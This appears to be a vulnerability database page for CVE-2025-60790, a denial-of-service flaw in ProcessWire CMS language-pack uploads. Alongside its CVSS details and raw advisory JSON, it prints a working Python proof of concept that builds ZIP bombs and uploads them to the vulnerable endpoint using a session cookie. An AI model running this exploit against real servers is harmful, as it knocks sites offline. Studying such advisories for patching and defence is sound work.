Security Vulnerability Report
中文
CVE-2025-60790 CVSS 6.5 MEDIUM

CVE-2025-60790

Published: 2025-10-21 18:15:37
Last Modified: 2025-11-07 20:08:58

Description

ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:* - VULNERABLE
ProcessWire CMS 3.0.246

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60790 PoC - ProcessWire CMS ZIP Upload Resource Exhaustion DoS # This PoC demonstrates how to create a malicious ZIP file that causes # resource exhaustion when auto-extracted by ProcessWire CMS Language Support module import zipfile import io import os import argparse def create_zip_bomb(output_path, num_files=100000, file_size=1024): """ Create a ZIP bomb that contains many small files to exhaust server resources when auto-extracted without limits. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for i in range(num_files): # Create small files with repetitive content (high compression ratio) content = b'A' * file_size filename = f'lang_files/file_{i}.po' zf.writestr(filename, content) print(f"[+] ZIP bomb created: {output_path}") print(f"[+] Contains {num_files} files of {file_size} bytes each") def create_nested_zip_bomb(output_path, depth=5, files_per_level=100): """ Create a nested ZIP structure to maximize resource consumption during extraction. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for i in range(files_per_level): inner_content = os.urandom(10240) # 10KB random data per file for d in range(depth): path = '/'.join([f'level_{d}' for d in range(d+1)]) + f'/file_{i}.txt' zf.writestr(path, inner_content) print(f"[+] Nested ZIP bomb created: {output_path}") def upload_to_processwire(target_url, zip_path, session_cookie): """ Upload the malicious ZIP to ProcessWire Language Support module. Requires a valid session cookie from an account with lang-edit permission. """ import requests headers = { 'Cookie': f'wire_challenge={session_cookie}', 'User-Agent': 'Mozilla/5.0' } with open(zip_path, 'rb') as f: files = {'language_import': (os.path.basename(zip_path), f, 'application/zip')} response = requests.post( f'{target_url}/processwire/setup/language/', files=files, headers=headers ) print(f"[+] Upload response status: {response.status_code}") return response if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-60790 PoC') parser.add_argument('--output', default='malicious_lang.zip', help='Output ZIP path') parser.add_argument('--files', type=int, default=100000, help='Number of files in ZIP') parser.add_argument('--size', type=int, default=1024, help='Size of each file in bytes') parser.add_argument('--nested', action='store_true', help='Create nested ZIP bomb') args = parser.parse_args() if args.nested: create_nested_zip_bomb(args.output) else: create_zip_bomb(args.output, args.files, args.size) # Usage example: # python poc.py --output malicious.zip --files 500000 --size 4096 # Then upload via: POST /processwire/setup/language/ with language_import file

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60790", "sourceIdentifier": "[email protected]", "published": "2025-10-21T18:15:36.630", "lastModified": "2025-11-07T20:08:57.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.0.246", "matchCriteriaId": "A03E4F51-C5B2-4135-999B-B717665AFBCB"}]}]}], "references": [{"url": "https://github.com/NomanProdhan/security-vulnerability-research/tree/master/CVE-2025-60790", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/processwire/processwire-issues/issues/2120", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/processwire/processwire-issues/issues/2120", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}